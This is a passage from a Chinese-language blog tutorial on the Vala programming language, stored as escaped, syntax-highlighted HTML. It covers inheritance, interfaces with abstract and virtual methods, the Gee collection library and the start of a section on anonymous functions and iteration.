class=\"kt\"\u003estring\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003e_name\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003ebool\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ecute\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// base() 调取父类构造函数,必须写\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ebase\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003e_name\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ethis\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ecute\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ecute\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 重写方法需要加 \u0026#34;new\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003epublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enew\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eaction\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ebase\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eaction\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eprint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ecute\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e?\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;meow~\u0026#34;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;graw~\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003emain\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eCat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enew\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eCat\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;A\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"nb\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eaction\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e这个是我从网上抄的一段代码:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 接口,也就是不能被实例化的虚类。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kd\"\u003einterface\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nc\"\u003ePrintable\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// abstract 要由继承的类实现\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003epublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003eabstract\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003estring\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eprint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// virtual 有默认的实现\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003epublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003evirtual\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003estring\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003epretty_print\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;Please \u0026#34;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eprint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\u003c/span\u003e\u003cspan class=\"kd\"\u003eclass\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nc\"\u003eNormalPrint\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eObject\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ePrintable\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 实现上面的 abstract\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003estring\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eprint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;don\u0026#39;t forget about me\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\u003c/span\u003e\u003cspan class=\"kd\"\u003eclass\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nc\"\u003eOverridePrint\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eObject\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ePrintable\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003estring\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eprint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;Mind the gap\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 重载函数,覆盖 virtual 的默认实现\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003epublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003eoverride\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003estring\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003epretty_print\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;Override\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003emain\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003estring\u003c/span\u003e\u003cspan class=\"p\"\u003e[]\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eargs\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003evar\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003enormal\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enew\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eNormalPrint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003evar\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eoverridden\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enew\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eOverridePrint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eprint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003enormal\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003epretty_print\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e());\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eprint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eoverridden\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003epretty_print\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e());\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"gee\"\u003eGee\u003c/h2\u003e\n\u003cp\u003e\u003ca class=\"link\" href=\"https://wiki.gnome.org/Projects/Libgee\" target=\"_blank\" rel=\"noopener\"\n \u003eGee\u003c/a\u003e 相当于 C++ 里面的 STL 。我对这个了解不多,先把官方的示例贴上来:\u003ca class=\"link\" href=\"https://wiki.gnome.org/Projects/Vala/GeeSamples\" target=\"_blank\" rel=\"noopener\"\n \u003eProjects/Vala/GeeSamples - GNOME Wiki!\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e实际上 GLib 已经实现了很多的数据结构,但我个人建议 Gee,功能比 Glib 本身有的更丰富,但是编程的时候需要添加 Gee 库。 \u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kn\"\u003eusing\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nn\"\u003eGee\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eGlib 中,我有用过:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eArray\u0026lt;类型\u0026gt;:变长数组\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eList\u0026lt;类型\u0026gt;:双向列表\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eGee中,我有用过:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eSet\u0026lt;类型\u0026gt;:无重复集合\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eHashMap\u0026lt;类型1,类型2\u0026gt;:哈希字典\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e具体用法请参阅相关文档和示例,链接给完了,我溜了~\u003c/p\u003e\n\u003ch2 id=\"迭代匿名函数\"\u003e迭代,匿名函数\u003c/h2\u003e\n\u003cp\u003e首先是匿名函数,很简单:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"err\"\u003e函数形参\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"err\"\u003e函数体语句\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"err\"\u003e函数形参\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e\u003cspan class=\"err\"\u003e一条语句\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e一般用于函数作形参的时候,临时写一个简单的。比如下面那个情况。\u003c/p\u003e\n\u003cp\u003e还有迭代,有些预先定义好的数据结构都支持迭代,使用的时候使用 \u003ccode\u003eforeach\u003c/code\u003e 方法就好。比如说:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003emain\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan 